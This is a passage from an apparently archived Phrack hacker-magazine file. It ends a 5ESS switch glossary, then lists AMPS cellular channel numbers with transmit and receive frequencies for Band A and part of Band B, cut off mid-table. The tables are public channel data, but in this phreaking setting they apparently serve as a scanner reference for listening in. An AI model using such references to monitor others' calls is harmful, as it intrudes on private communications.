CIC Select Code 303-001 Craft Interface User's Guide
CIC Select Code 303-002 Diagnostics User's Guide
CIC Select Code 303-006 AT$T AM UNIX RTR Operating System, System
Audits Guide
IM-5D000-01 Input Manual
OM-5d000-01 Output Manual
OPA-5P670-01 The Administrator User Guide
OPA-5P672-01 The Operator User Guide
OPA-5P674-01 The RMAS Generic - Provided User Masks
Trademarks
~~~~~~~~~~
5ESS - Registered trademark of AT$T.
CLCI - Trademark of Bell Communications Research, Inc.
CLLI - Trademark of Bell Communications Research, Inc.
ESS - Trademark of AT$T.
SLC - Registered trademark of AT$T.
UNIX - Registered trademark of AT$T.
DMERT - Registered trademark of AT$T.
SCCS - Registered trademark of AT$T
DMS - Registered trademark of Northern Telecom
DEC - Registered trademark of Digital Equipment Corporation.
VT100 - Trademark of Digital Equipment Corporation.
Acronyms and Abbreviations
~~~~~~~~~~~~~~~~~~~~~~~~~~
ADTS - Automatic Data Test System
ALIT - Automatic Line Insulation Testing
AMA - Automatic Message Accounting
AP - Attached Processor (1AESS 3B20)
ATICS - Automated Toll Integrity Checking System
BLV - Busy Line Verification
BMD - Batch Mode Display
BMI - Batch Mode Input - TIMEREL and DEMAND
BMR - Batch Mode Release
BRCS - Business Residence Custom Service
CAMA - Centralized Automatic Message Accounting
CIC - Customer Information Center (AT$T)
DAMT - Direct Access Mechanize Testing
DLTU - Digital Line Trunk Unit
DMERT - Duplex Multiple Environment Real Time
DSU - Digital Service Unit
DTAC - Digital Test Access Connector
GRASP - Generic Access Package
IOP - Input/Output Processor
IPS - Integrated Provisioning System
ISDN - Integrated Services Digital Network
ITNO - Item Number
LMOS - Loop Maintenance Operations System
LU - Line Unit
MCC - Master Control Center
MLT-2 - Mechanized Loop Testing - The Second Generation of Equipment
MML - Man Machine Language
MSGNO - Message Number
MSGS - Message Switch
NCT - Network Control and Timing
ODD - Office Dependent Data
OE - Office Equipment
ONI - Operator Number Identification
ORDNO - Service Order Number
OSPS - Operator Service Position System
OSS - Operations Support System
POVT - Provisioning On-site Verification Testing
RC - Recent Change
RC/V - Recent Change and Verify
RDATE - Release Date (Update Database Date)
RMAS - Remote Memory Administration
RTIME - Release Time (Update Database Time)
RTS - Remote Test Unit
SARTS - Switched Access Remote Test System
SCCS - Switching Control Center System
SLC - Subicer Loop Carrier
SM - Switching Module
SMAS - Switched Maintenance Access System
SMPU - Switch Module Processor Unit
SONET - Synchronous Optical Network
SPC - Stored Program Control
STLWS - Supplementary Trunk and Line Work Station
TFTP - Television Facility Test Position
TIMEREL - Time Release
TIRKS - Trunk Integrated Record Keeping System
TMS - Time Multiplexed Switch
TRCO - Trouble Reporting Control Office
TSI - Time Slot Interchangers
TSIU - Time Slot Interchange Unit
TU - Trunk Unit
VFY - Verify
I give AT$T due credit for much of this file, for without them, it would not
have been possible!
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 17 of 27
CELLULAR INFORMATION
COMPILED
BY
MADJUS
of
N.O.D.
{Thanks go out to Spy Ace & The Nobody}
CELLULAR FREQUENCIES BY CELL
BAND A
Cell # 1 Transmit Receive
--------------------------------------------------
Channel 1 (333) Tx 879.990 Rx 834.990
Channel 2 (312) Tx 879.360 Rx 834.360
Channel 3 (291) Tx 878.730 Rx 833.730
Channel 4 (270) Tx 878.100 Rx 833.100
Channel 5 (249) Tx 877.470 Rx 832.470
Channel 6 (228) Tx 876.840 Rx 831.840
Channel 7 (207) Tx 876.210 Rx 831.210
Channel 8 (186) Tx 875.580 Rx 830.580
Channel 9 (165) Tx 874.950 Rx 829.950
Channel 10 (144) Tx 874.320 Rx 829.320
Channel 11 (123) Tx 873.690 Rx 828.690
Channel 12 (102) Tx 873.060 Rx 828.060
Channel 13 (81) Tx 872.430 Rx 827.430
Channel 14 (60) Tx 871.800 Rx 826.800
Channel 15 (39) Tx 871.170 Rx 826.170
Channel 16 (18) Tx 870.540 Rx 825.540
Cell # 2
--------------------------------------------------
Channel 1 (332) Tx 879.960 Rx 834.960
Channel 2 (311) Tx 879.330 Rx 834.330
Channel 3 (290) Tx 878.700 Rx 833.700
Channel 4 (269) Tx 878.070 Rx 833.070
Channel 5 (248) Tx 877.440 Rx 832.440
Channel 6 (227) Tx 876.810 Rx 831.810
Channel 7 (206) Tx 876.180 Rx 831.180
Channel 8 (185) Tx 875.550 Rx 830.550
Channel 9 (164) Tx 874.920 Rx 829.920
Channel 10 (143) Tx 874.290 Rx 829.290
Channel 11 (122) Tx 873.660 Rx 828.660
Channel 12 (101) Tx 873.030 Rx 828.030
Channel 13 (80) Tx 872.400 Rx 827.400
Channel 14 (59) Tx 871.770 Rx 826.770
Channel 15 (38) Tx 871.140 Rx 826.140
Channel 16 (17) Tx 870.510 Rx 825.510
Cell # 3
--------------------------------------------------
Channel 1 (331) Tx 879.930 Rx 834.930
Channel 2 (310) Tx 879.300 Rx 834.300
Channel 3 (289) Tx 878.670 Rx 833.670
Channel 4 (268) Tx 878.040 Rx 833.040
Channel 5 (247) Tx 877.410 Rx 832.410
Channel 6 (226) Tx 876.780 Rx 831.780
Channel 7 (205) Tx 876.150 Rx 831.150
Channel 8 (184) Tx 875.520 Rx 830.520
Channel 9 (163) Tx 874.890 Rx 829.890
Channel 10 (142) Tx 874.260 Rx 829.260
Channel 11 (121) Tx 873.630 Rx 828.630
Channel 12 (100) Tx 873.000 Rx 828.000
Channel 13 (79) Tx 872.370 Rx 827.370
Channel 14 (58) Tx 871.740 Rx 826.740
Channel 15 (37) Tx 871.110 Rx 826.110
Channel 16 (16) Tx 870.480 Rx 825.480
Cell # 4
--------------------------------------------------
Channel 1 (330) Tx 879.900 Rx 834.900
Channel 2 (309) Tx 879.270 Rx 834.270
Channel 3 (288) Tx 878.640 Rx 833.640
Channel 4 (267) Tx 878.010 Rx 833.010
Channel 5 (246) Tx 877.380 Rx 832.380
Channel 6 (225) Tx 876.750 Rx 831.750
Channel 7 (204) Tx 876.120 Rx 831.120
Channel 8 (183) Tx 875.490 Rx 830.490
Channel 9 (162) Tx 874.860 Rx 829.860
Channel 10 (141) Tx 874.230 Rx 829.230
Channel 11 (120) Tx 873.600 Rx 828.600
Channel 12 (99) Tx 872.970 Rx 827.970
Channel 13 (78) Tx 872.340 Rx 827.340
Channel 14 (57) Tx 871.710 Rx 826.710
Channel 15 (36) Tx 871.080 Rx 826.080
Channel 16 (15) Tx 870.450 Rx 825.450
Cell # 5
--------------------------------------------------
Channel 1 (329) Tx 879.870 Rx 834.870
Channel 2 (308) Tx 879.240 Rx 834.240
Channel 3 (287) Tx 878.610 Rx 833.610
Channel 4 (266) Tx 877.980 Rx 832.980
Channel 5 (245) Tx 877.350 Rx 832.350
Channel 6 (224) Tx 876.720 Rx 831.720
Channel 7 (203) Tx 876.090 Rx 831.090
Channel 8 (182) Tx 875.460 Rx 830.460
Channel 9 (161) Tx 874.830 Rx 829.830
Channel 10 (140) Tx 874.200 Rx 829.200
Channel 11 (119) Tx 873.570 Rx 828.570
Channel 12 (98) Tx 872.940 Rx 827.940
Channel 13 (77) Tx 872.310 Rx 827.310
Channel 14 (56) Tx 871.680 Rx 826.680
Channel 15 (35) Tx 871.050 Rx 826.050
Channel 16 (14) Tx 870.420 Rx 825.420
Cell # 6
--------------------------------------------------
Channel 1 (328) Tx 879.840 Rx 834.840
Channel 2 (307) Tx 879.210 Rx 834.210
Channel 3 (286) Tx 878.580 Rx 833.580
Channel 4 (265) Tx 877.950 Rx 832.950
Channel 5 (244) Tx 877.320 Rx 832.320
Channel 6 (223) Tx 876.690 Rx 831.690
Channel 7 (202) Tx 876.060 Rx 831.060
Channel 8 (181) Tx 875.430 Rx 830.430
Channel 9 (160) Tx 874.800 Rx 829.800
Channel 10 (139) Tx 874.170 Rx 829.170
Channel 11 (118) Tx 873.540 Rx 828.540
Channel 12 (97) Tx 872.910 Rx 827.910
Channel 13 (76) Tx 872.280 Rx 827.280
Channel 14 (55) Tx 871.650 Rx 826.650
Channel 15 (34) Tx 871.020 Rx 826.020
Channel 16 (13) Tx 870.390 Rx 825.390
Cell # 7
--------------------------------------------------
Channel 1 (327) Tx 879.810 Rx 834.810
Channel 2 (306) Tx 879.180 Rx 834.180
Channel 3 (285) Tx 878.550 Rx 833.550
Channel 4 (264) Tx 877.920 Rx 832.920
Channel 5 (243) Tx 877.290 Rx 832.290
Channel 6 (222) Tx 876.660 Rx 831.660
Channel 7 (201) Tx 876.030 Rx 831.030
Channel 8 (180) Tx 875.400 Rx 830.400
Channel 9 (159) Tx 874.770 Rx 829.770
Channel 10 (138) Tx 874.140 Rx 829.140
Channel 11 (117) Tx 873.510 Rx 828.510
Channel 12 (96) Tx 872.880 Rx 827.880
Channel 13 (75) Tx 872.250 Rx 827.250
Channel 14 (54) Tx 871.620 Rx 826.620
Channel 15 (33) Tx 870.990 Rx 825.990
Channel 16 (12) Tx 870.360 Rx 825.360
Cell # 8
--------------------------------------------------
Channel 1 (326) Tx 879.780 Rx 834.780
Channel 2 (305) Tx 879.150 Rx 834.150
Channel 3 (284) Tx 878.520 Rx 833.520
Channel 4 (263) Tx 877.890 Rx 832.890
Channel 5 (242) Tx 877.260 Rx 832.260
Channel 6 (221) Tx 876.630 Rx 831.630
Channel 7 (200) Tx 876.000 Rx 831.000
Channel 8 (179) Tx 875.370 Rx 830.370
Channel 9 (158) Tx 874.740 Rx 829.740
Channel 10 (137) Tx 874.110 Rx 829.110
Channel 11 (116) Tx 873.480 Rx 828.480
Channel 12 (95) Tx 872.850 Rx 827.850
Channel 13 (74) Tx 872.220 Rx 827.220
Channel 14 (53) Tx 871.590 Rx 826.590
Channel 15 (32) Tx 870.960 Rx 825.960
Channel 16 (11) Tx 870.330 Rx 825.330
Cell # 9
--------------------------------------------------
Channel 1 (325) Tx 879.750 Rx 834.750
Channel 2 (304) Tx 879.120 Rx 834.120
Channel 3 (283) Tx 878.490 Rx 833.490
Channel 4 (262) Tx 877.860 Rx 832.860
Channel 5 (241) Tx 877.230 Rx 832.230
Channel 6 (220) Tx 876.600 Rx 831.600
Channel 7 (199) Tx 875.970 Rx 830.970
Channel 8 (178) Tx 875.340 Rx 830.340
Channel 9 (157) Tx 874.710 Rx 829.710
Channel 10 (136) Tx 874.080 Rx 829.080
Channel 11 (115) Tx 873.450 Rx 828.450
Channel 12 (94) Tx 872.820 Rx 827.820
Channel 13 (73) Tx 872.190 Rx 827.190
Channel 14 (52) Tx 871.560 Rx 826.560
Channel 15 (31) Tx 870.930 Rx 825.930
Channel 16 (10) Tx 870.300 Rx 825.300
Cell # 10
--------------------------------------------------
Channel 1 (324) Tx 879.720 Rx 834.720
Channel 2 (303) Tx 879.090 Rx 834.090
Channel 3 (282) Tx 878.460 Rx 833.460
Channel 4 (261) Tx 877.830 Rx 832.830
Channel 5 (240) Tx 877.200 Rx 832.200
Channel 6 (219) Tx 876.570 Rx 831.570
Channel 7 (198) Tx 875.940 Rx 830.940
Channel 8 (177) Tx 875.310 Rx 830.310
Channel 9 (156) Tx 874.680 Rx 829.680
Channel 10 (135) Tx 874.050 Rx 829.050
Channel 11 (114) Tx 873.420 Rx 828.420
Channel 12 (93) Tx 872.790 Rx 827.790
Channel 13 (72) Tx 872.160 Rx 827.160
Channel 14 (51) Tx 871.530 Rx 826.530
Channel 15 (30) Tx 870.900 Rx 825.900
Channel 16 (9) Tx 870.270 Rx 825.270
Cell # 11
--------------------------------------------------
Channel 1 (323) Tx 879.690 Rx 834.690
Channel 2 (302) Tx 879.060 Rx 834.060
Channel 3 (281) Tx 878.430 Rx 833.430
Channel 4 (260) Tx 877.800 Rx 832.800
Channel 5 (239) Tx 877.170 Rx 832.170
Channel 6 (218) Tx 876.540 Rx 831.540
Channel 7 (197) Tx 875.910 Rx 830.910
Channel 8 (176) Tx 875.280 Rx 830.280
Channel 9 (155) Tx 874.650 Rx 829.650
Channel 10 (134) Tx 874.020 Rx 829.020
Channel 11 (113) Tx 873.390 Rx 828.390
Channel 12 (92) Tx 872.760 Rx 827.760
Channel 13 (71) Tx 872.130 Rx 827.130
Channel 14 (50) Tx 871.500 Rx 826.500
Channel 15 (29) Tx 870.870 Rx 825.870
Channel 16 (8) Tx 870.240 Rx 825.240
Cell # 12
--------------------------------------------------
Channel 1 (322) Tx 879.660 Rx 834.660
Channel 2 (301) Tx 879.030 Rx 834.030
Channel 3 (280) Tx 878.400 Rx 833.400
Channel 4 (259) Tx 877.770 Rx 832.770
Channel 5 (238) Tx 877.140 Rx 832.140
Channel 6 (217) Tx 876.510 Rx 831.510
Channel 7 (196) Tx 875.880 Rx 830.880
Channel 8 (175) Tx 875.250 Rx 830.250
Channel 9 (154) Tx 874.620 Rx 829.620
Channel 10 (133) Tx 873.990 Rx 828.990
Channel 11 (112) Tx 873.360 Rx 828.360
Channel 12 (91) Tx 872.730 Rx 827.730
Channel 13 (70) Tx 872.100 Rx 827.100
Channel 14 (49) Tx 871.470 Rx 826.470
Channel 15 (28) Tx 870.840 Rx 825.840
Channel 16 (7) Tx 870.210 Rx 825.210
Cell # 13
--------------------------------------------------
Channel 1 (321) Tx 879.630 Rx 834.630
Channel 2 (300) Tx 879.000 Rx 834.000
Channel 3 (279) Tx 878.370 Rx 833.370
Channel 4 (258) Tx 877.740 Rx 832.740
Channel 5 (237) Tx 877.110 Rx 832.110
Channel 6 (216) Tx 876.480 Rx 831.480
Channel 7 (195) Tx 875.850 Rx 830.850
Channel 8 (174) Tx 875.220 Rx 830.220
Channel 9 (153) Tx 874.590 Rx 829.590
Channel 10 (132) Tx 873.960 Rx 828.960
Channel 11 (111) Tx 873.330 Rx 828.330
Channel 12 (90) Tx 872.700 Rx 827.700
Channel 13 (69) Tx 872.070 Rx 827.070
Channel 14 (48) Tx 871.440 Rx 826.440
Channel 15 (27) Tx 870.810 Rx 825.810
Channel 16 (6) Tx 870.180 Rx 825.180
Cell # 14
--------------------------------------------------
Channel 1 (320) Tx 879.600 Rx 834.600
Channel 2 (299) Tx 878.970 Rx 833.970
Channel 3 (278) Tx 878.340 Rx 833.340
Channel 4 (257) Tx 877.710 Rx 832.710
Channel 5 (236) Tx 877.080 Rx 832.080
Channel 6 (215) Tx 876.450 Rx 831.450
Channel 7 (194) Tx 875.820 Rx 830.820
Channel 8 (173) Tx 875.190 Rx 830.190
Channel 9 (152) Tx 874.560 Rx 829.560
Channel 10 (131) Tx 873.930 Rx 828.930
Channel 11 (110) Tx 873.300 Rx 828.300
Channel 12 (89) Tx 872.670 Rx 827.670
Channel 13 (68) Tx 872.040 Rx 827.040
Channel 14 (47) Tx 871.410 Rx 826.410
Channel 15 (26) Tx 870.780 Rx 825.780
Channel 16 (5) Tx 870.150 Rx 825.150
Cell # 15
--------------------------------------------------
Channel 1 (319) Tx 879.570 Rx 834.570
Channel 2 (298) Tx 878.940 Rx 833.940
Channel 3 (277) Tx 878.310 Rx 833.310
Channel 4 (256) Tx 877.680 Rx 832.680
Channel 5 (235) Tx 877.050 Rx 832.050
Channel 6 (214) Tx 876.420 Rx 831.420
Channel 7 (193) Tx 875.790 Rx 830.790
Channel 8 (172) Tx 875.160 Rx 830.160
Channel 9 (151) Tx 874.530 Rx 829.530
Channel 10 (130) Tx 873.900 Rx 828.900
Channel 11 (109) Tx 873.270 Rx 828.270
Channel 12 (88) Tx 872.640 Rx 827.640
Channel 13 (67) Tx 872.010 Rx 827.010
Channel 14 (46) Tx 871.380 Rx 826.380
Channel 15 (25) Tx 870.750 Rx 825.750
Channel 16 (4) Tx 870.120 Rx 825.120
Cell # 16
--------------------------------------------------
Channel 1 (318) Tx 879.540 Rx 834.540
Channel 2 (297) Tx 878.910 Rx 833.910
Channel 3 (276) Tx 878.280 Rx 833.280
Channel 4 (255) Tx 877.650 Rx 832.650
Channel 5 (234) Tx 877.020 Rx 832.020
Channel 6 (213) Tx 876.390 Rx 831.390
Channel 7 (192) Tx 875.760 Rx 830.760
Channel 8 (171) Tx 875.130 Rx 830.130
Channel 9 (150) Tx 874.500 Rx 829.500
Channel 10 (129) Tx 873.870 Rx 828.870
Channel 11 (108) Tx 873.240 Rx 828.240
Channel 12 (87) Tx 872.610 Rx 827.610
Channel 13 (66) Tx 871.980 Rx 826.980
Channel 14 (45) Tx 871.350 Rx 826.350
Channel 15 (24) Tx 870.720 Rx 825.720
Channel 16 (3) Tx 870.090 Rx 825.090
Cell # 17
--------------------------------------------------
Channel 1 (317) Tx 879.510 Rx 834.510
Channel 2 (296) Tx 878.880 Rx 833.880
Channel 3 (275) Tx 878.250 Rx 833.250
Channel 4 (254) Tx 877.620 Rx 832.620
Channel 5 (233) Tx 876.990 Rx 831.990
Channel 6 (212) Tx 876.360 Rx 831.360
Channel 7 (191) Tx 875.730 Rx 830.730
Channel 8 (170) Tx 875.100 Rx 830.100
Channel 9 (149) Tx 874.470 Rx 829.470
Channel 10 (128) Tx 873.840 Rx 828.840
Channel 11 (107) Tx 873.210 Rx 828.210
Channel 12 (86) Tx 872.580 Rx 827.580
Channel 13 (65) Tx 871.950 Rx 826.950
Channel 14 (44) Tx 871.320 Rx 826.320
Channel 15 (23) Tx 870.690 Rx 825.690
Channel 16 (2) Tx 870.060 Rx 825.060
Cell # 18
--------------------------------------------------
Channel 1 (316) Tx 879.480 Rx 834.480
Channel 2 (295) Tx 878.850 Rx 833.850
Channel 3 (274) Tx 878.220 Rx 833.220
Channel 4 (253) Tx 877.590 Rx 832.590
Channel 5 (232) Tx 876.960 Rx 831.960
Channel 6 (211) Tx 876.330 Rx 831.330
Channel 7 (190) Tx 875.700 Rx 830.700
Channel 8 (169) Tx 875.070 Rx 830.070
Channel 9 (148) Tx 874.440 Rx 829.440
Channel 10 (127) Tx 873.810 Rx 828.810
Channel 11 (106) Tx 873.180 Rx 828.180
Channel 12 (85) Tx 872.550 Rx 827.550
Channel 13 (64) Tx 871.920 Rx 826.920
Channel 14 (43) Tx 871.290 Rx 826.290
Channel 15 (22) Tx 870.660 Rx 825.660
Channel 16 (1) Tx 870.030 Rx 825.030
Cell # 19
--------------------------------------------------
Channel 1 (315) Tx 879.450 Rx 834.450
Channel 2 (294) Tx 878.820 Rx 833.820
Channel 3 (273) Tx 878.190 Rx 833.190
Channel 4 (252) Tx 877.560 Rx 832.560
Channel 5 (231) Tx 876.930 Rx 831.930
Channel 6 (210) Tx 876.300 Rx 831.300
Channel 7 (189) Tx 875.670 Rx 830.670
Channel 8 (168) Tx 875.040 Rx 830.040
Channel 9 (147) Tx 874.410 Rx 829.410
Channel 10 (126) Tx 873.780 Rx 828.780
Channel 11 (105) Tx 873.150 Rx 828.150
Channel 12 (84) Tx 872.520 Rx 827.520
Channel 13 (63) Tx 871.890 Rx 826.890
Channel 14 (42) Tx 871.260 Rx 826.260
Channel 15 (21) Tx 870.630 Rx 825.630
Cell # 20
--------------------------------------------------
Channel 1 (314) Tx 879.420 Rx 834.420
Channel 2 (293) Tx 878.790 Rx 833.790
Channel 3 (272) Tx 878.160 Rx 833.160
Channel 4 (251) Tx 877.530 Rx 832.530
Channel 5 (230) Tx 876.900 Rx 831.900
Channel 6 (209) Tx 876.270 Rx 831.270
Channel 7 (188) Tx 875.640 Rx 830.640
Channel 8 (167) Tx 875.010 Rx 830.010
Channel 9 (146) Tx 874.380 Rx 829.380
Channel 10 (125) Tx 873.750 Rx 828.750
Channel 11 (104) Tx 873.120 Rx 828.120
Channel 12 (83) Tx 872.490 Rx 827.490
Channel 13 (62) Tx 871.860 Rx 826.860
Channel 14 (41) Tx 871.230 Rx 826.230
Channel 15 (20) Tx 870.600 Rx 825.600
Cell # 21
--------------------------------------------------
Channel 1 (313) Tx 879.390 Rx 834.390
Channel 2 (292) Tx 878.760 Rx 833.760
Channel 3 (271) Tx 878.130 Rx 833.130
Channel 4 (250) Tx 877.500 Rx 832.500
Channel 5 (229) Tx 876.870 Rx 831.870
Channel 6 (208) Tx 876.240 Rx 831.240
Channel 7 (187) Tx 875.610 Rx 830.610
Channel 8 (166) Tx 874.980 Rx 829.980
Channel 9 (145) Tx 874.350 Rx 829.350
Channel 10 (124) Tx 873.720 Rx 828.720
Channel 11 (103) Tx 873.090 Rx 828.090
Channel 12 (82) Tx 872.460 Rx 827.460
Channel 13 (61) Tx 871.830 Rx 826.830
Channel 14 (40) Tx 871.200 Rx 826.200
Channel 15 (19) Tx 870.570 Rx 825.570
**************************************************
BAND B
Cell # 1
--------------------------------------------------
Channel 1 (334) Tx 880.020 Rx 835.020
Channel 2 (355) Tx 880.650 Rx 835.650
Channel 3 (376) Tx 881.280 Rx 836.280
Channel 4 (397) Tx 881.910 Rx 836.910
Channel 5 (418) Tx 882.540 Rx 837.540
Channel 6 (439) Tx 883.170 Rx 838.170
Channel 7 (460) Tx 883.800 Rx 838.800
Channel 8 (481) Tx 884.430 Rx 839.430
Channel 9 (502) Tx 885.060 Rx 840.060
Channel 10 (523) Tx 885.690 Rx 840.690
Channel 11 (544) Tx 886.320 Rx 841.320
Channel 12 (565) Tx 886.950 Rx 841.950
Channel 13 (586) Tx 887.580 Rx 842.580
Channel 14 (607) Tx 888.210 Rx 843.210
Channel 15 (628) Tx 888.840 Rx 843.840
Channel 16 (649) Tx 889.470 Rx 844.470
Cell # 2
--------------------------------------------------
Channel 1 (335) Tx 880.050 Rx 835.050
Channel 2 (356) Tx 880.680 Rx 835.680
Channel 3 (377) Tx 881.310 Rx 836.310
Channel 4 (398) Tx 881.940 Rx 836.940
Channel 5 (419) Tx 882.570 Rx 837.570
Channel 6 (440) Tx 883.200 Rx 838.200
Channel 7 (461) Tx 883.830 Rx 838.830
Channel 8 (482) Tx 884.460 Rx 839.460
Channel 9 (503) Tx 885.090 Rx 840.090
Channel 10 (524) Tx 885.720 Rx 840.720
Channel 11 (545) Tx 886.350 Rx 841.350
Channel 12 (566) Tx 886.980 Rx 841.980
Channel 13 (587) Tx 887.610 Rx 842.610
Channel 14 (608) Tx 888.240 Rx 843.240
Channel 15 (629) Tx 888.870 Rx 843.870
Channel 16 (650) Tx 889.500 Rx 844.500
Cell # 3
--------------------------------------------------
Channel 1 (336) Tx 880.080 Rx 835.080
Channel 2 (357) Tx 880.710 Rx 835.710
Channel 3 (378) Tx 881.340 Rx 836.340
Channel 4 (399) Tx 881.970 Rx 836.970
Channel 5 (420) Tx 882.600 Rx 837.600
Channel 6 (441) Tx 883.230 Rx 838.230
Channel 7 (462) Tx 883.860 Rx 838.860
Channel 8 (483) Tx 884.490 Rx 839.490
Channel 9 (504) Tx 885.120 Rx 840.120
Channel 10 (525) Tx 885.750 Rx 840.750
Channel 11 (546) Tx 886.380 Rx 841.380
Channel 12 (567) Tx 887.010 Rx 842.010
Channel 13 (588) Tx 887.640 Rx 842.640
Channel 14 (609) Tx 888.270 Rx 843.270
Channel 15 (630) Tx 888.900 Rx 843.900
Channel 16 (651) Tx 889.530 Rx 844.530
Cell # 4
--------------------------------------------------
Channel 1 (337) Tx 880.110 Rx 835.110
Channel 2 (358) Tx 880.740 Rx 835.740
Channel 3 (379) Tx 881.370 Rx 836.370
Channel 4 (400) Tx 882.000 Rx 837.000
Channel 5 (421) Tx 882.630 Rx 837.630
Channel 6 (442) Tx 883.260 Rx 838.260
Channel 7 (463) Tx 883.890 Rx 838.890
Channel 8 (484) Tx 884.520 Rx 839.520
Channel 9 (505) Tx 885.150 Rx 840.150
Channel 10 (526) Tx 885.780 Rx 840.780
Channel 11 (547) Tx 886.410 Rx 841.410
Channel 12 (568) Tx 887.040 Rx 842.040
Channel 13 (589) Tx 887.670 Rx 842.670
Channel 14 (610) Tx 888.300 Rx 843.300
Channel 15 (631) Tx 888.930 Rx 843.930
Channel 16 (652) Tx 889.560 Rx 844.560
Cell # 5
--------------------------------------------------
Channel 1 (338) Tx 880.140 Rx 835.140
Channel 2 (359) Tx 880.770 Rx 835.770
Channel 3 (380) Tx 881.400 Rx 836.400
Channel 4 (401) Tx 882.030 Rx 837.030
Channel 5 (422) Tx 882.660 Rx 837.660
Channel 6 (443) Tx 883.290 Rx 838.290
Channel 7 (464) Tx 883.920 Rx 838.920
Channel 8 (485) Tx 884.550 Rx 839.550
Channel 9 (506) Tx 885.180 Rx 840.180
Channel 10 (527) Tx 885.810 Rx 840.810
Channel 11 (548) Tx 886.440 Rx 841.440
Channel 12 (569) Tx 887.070 Rx 842.070
Channel 13 (590) Tx 887.700 Rx 842.700
Channel 14 (611) Tx 888.330 Rx 843.330
Channel 15 (632) Tx 888.960 Rx 843.960
Channel 16 (653) Tx 889.590 Rx 844.590
Cell # 6
--------------------------------------------------
Channel 1 (339) Tx 880.170 Rx 835.170
Channel 2 (360) Tx 880.800 Rx 835.800
Channel 3 (381) Tx 881.430 Rx 836.430
Channel 4 (402) Tx 882.060 Rx 837.060
Channel 5 (423) Tx 882.690 Rx 837.690
Channel 6 (444) Tx 883.320 Rx 838.320
Channel 7 (465) Tx 883.950 Rx 838.950
Channel 8 (486) Tx 884.580 Rx 839.580
Channel 9 (507) Tx 885.210 Rx 840.210
Channel 10 (528) Tx 885.840 Rx 840.840
Channel 11 (549) Tx 886.470 Rx 841.470
Channel 12 (570) Tx 887.100 Rx 842.100
Channel 13 (591) Tx 887.730 Rx 842.730
Channel 14 (612) Tx 888.360 Rx 843.360
Channel 15 (633) Tx 888.990 Rx 843.990
Channel 16 (654) Tx 889.620 Rx 844.620
Cell # 7
--------------------------------------------------
Channel 1 (340) Tx 880.200 Rx 835.200
Channel 2 (361) Tx 880.830 Rx 835.830
Channel 3 (382) Tx 881.460 Rx 836.460
Channel 4 (403) Tx 882.090 Rx 837.090
Channel 5 (424) Tx 882.720 Rx 837.720
Channel 6 (445) Tx 883.350 Rx 838.350
Channel 7 (466) Tx 883.980 Rx 838.980
Channel 8 (487) Tx 884.610 Rx 839.610
Channel 9 (508) Tx 885.240 Rx 840.240
Channel 10 (529) Tx 885.870 Rx 840.870
Channel 11 (550) Tx 886.500 Rx 841.500
Channel 12 (571) Tx 887.130 Rx 842.130
Channel 13 (592) Tx 887.760 Rx 842.760
Channel 14 (613) Tx 888.390 Rx 843.390
Channel 15 (634) Tx 889.020 Rx 844.020
Channel 16 (655) Tx 889.650 Rx 844.650
Cell # 8
--------------------------------------------------
Channel 1 (341) Tx 880.230 Rx 835.230
Channel 2 (362) Tx 880.860 Rx 835.860
Channel 3 (383) Tx 881.490 Rx 836.490
Channel 4 (404) Tx 882.120 Rx 837.120
Channel 5 (425) Tx 882.750 Rx 837.750
Channel 6 (446) Tx 883.380 Rx 838.380
Channel 7 (467) Tx 884.010 Rx 839.010
Channel 8 (488) Tx 884.640 Rx 839.640
Channel 9 (509) Tx 885.270 Rx 840.270
Channel 10 (530) Tx 885.900 Rx 840.900
Channel 11 (551) Tx 886.530 Rx 841.530
Channel 12 (572) Tx 887.160 Rx 842.160
Channel 13 (593) Tx 887.790 Rx 842.790
Channel 14 (614) Tx 888.420 Rx 843.420
Channel 15 (635) Tx 889.050 Rx 844.050
Channel 16 (656) Tx 889.680 Rx 844.680
Cell # 9
--------------------------------------------------
Channel 1 (342) Tx 880.260 Rx 835.260
Channel 2 (363) Tx 880.890 Rx 835.890
Channel 3 (384) Tx 881.520 Rx 836.520
Channel 4 (405) Tx 882.150 Rx 837.150
Channel 5 (426) Tx 882.780 Rx 837.780
Channel 6 (447) Tx 883.410 Rx 838.410
Channel 7 (468) Tx 884.040 Rx 839.040
Channel 8 (489) Tx 884.670 Rx 839.670
Channel 9 (510) Tx 885.300 Rx 840.300
Channel 10 (531) Tx 885.930 Rx 840.930
Channel 11 (552) Tx 886.560 Rx 841.560
Channel 12 (573) Tx 887.190 Rx 842.190
Channel 13 (594) Tx 887.820 Rx 842.820
Channel 14 (615) Tx 888.450 Rx 843.450
Channel 15 (636) Tx 889.080 Rx 844.080
Channel 16 (657) Tx 889.710 Rx 844.710
Cell # 10
--------------------------------------------------
Channel 1 (343) Tx 880.290 Rx 835.290
Channel 2 (364) Tx 880.920 Rx 835.920
Channel 3 (385) Tx 881.550 Rx 836.550
Channel 4 (406) Tx 882.180 Rx 837.180
Channel 5 (427) Tx 882.810 Rx 837.810
Channel 6 (448) Tx 883.440 Rx 838.440
Channel 7 (469) Tx 884.070 Rx 839.070
Channel 8 (490) Tx 884.700 Rx 839.700
Channel 9 (511) Tx 885.330 Rx 840.330
Channel 10 (532) Tx 885.960 Rx 840.960
Channel 11 (553) Tx 886.590 Rx 841.590
Channel 12 (574) Tx 887.220 Rx 842.220
Channel 13 (595) Tx 887.850 Rx 842.850
Channel 14 (616) Tx 888.480 Rx 843.480
Channel 15 (637) Tx 889.110 Rx 844.110
Channel 16 (658) Tx 889.740 Rx 844.740
Cell # 11
--------------------------------------------------
Channel 1 (344) Tx 880.320 Rx 835.320
Channel 2 (365) Tx 880.950 Rx 835.950
Channel 3 (386) Tx 881.580 Rx 836.580
Channel 4 (407) Tx 882.210 Rx 837.210
Channel 5 (428) Tx 882.840 Rx 837.840
Channel 6 (449) Tx 883.470 Rx 838.470
Channel 7 (470) Tx 884.100 Rx 839.100
Channel 8 (491) Tx 884.730 Rx 839.730
Channel 9 (512) Tx 885.360 Rx 840.360
Channel 10 (533) Tx 885.990 Rx 840.990
Channel 11 (554) Tx 886.620 Rx 841.620
Channel 12 (575) Tx 887.250 Rx 842.250
Channel 13 (596) Tx 887.880 Rx 842.880
Channel 14 (617) Tx 888.510 Rx 843.510
Channel 15 (638) Tx 889.140 Rx 844.140
Channel 16 (659) Tx 889.770 Rx 844.770
Cell # 12
--------------------------------------------------
Channel 1 (345) Tx 880.350 Rx 835.350
Channel 2 (366) Tx 880.980 Rx 835.980
Channel 3 (387) Tx 881.610 Rx 836.610
Channel 4 (408) Tx 882.240 Rx 837.240
Channel 5 (429) Tx 882.870 Rx 837.870
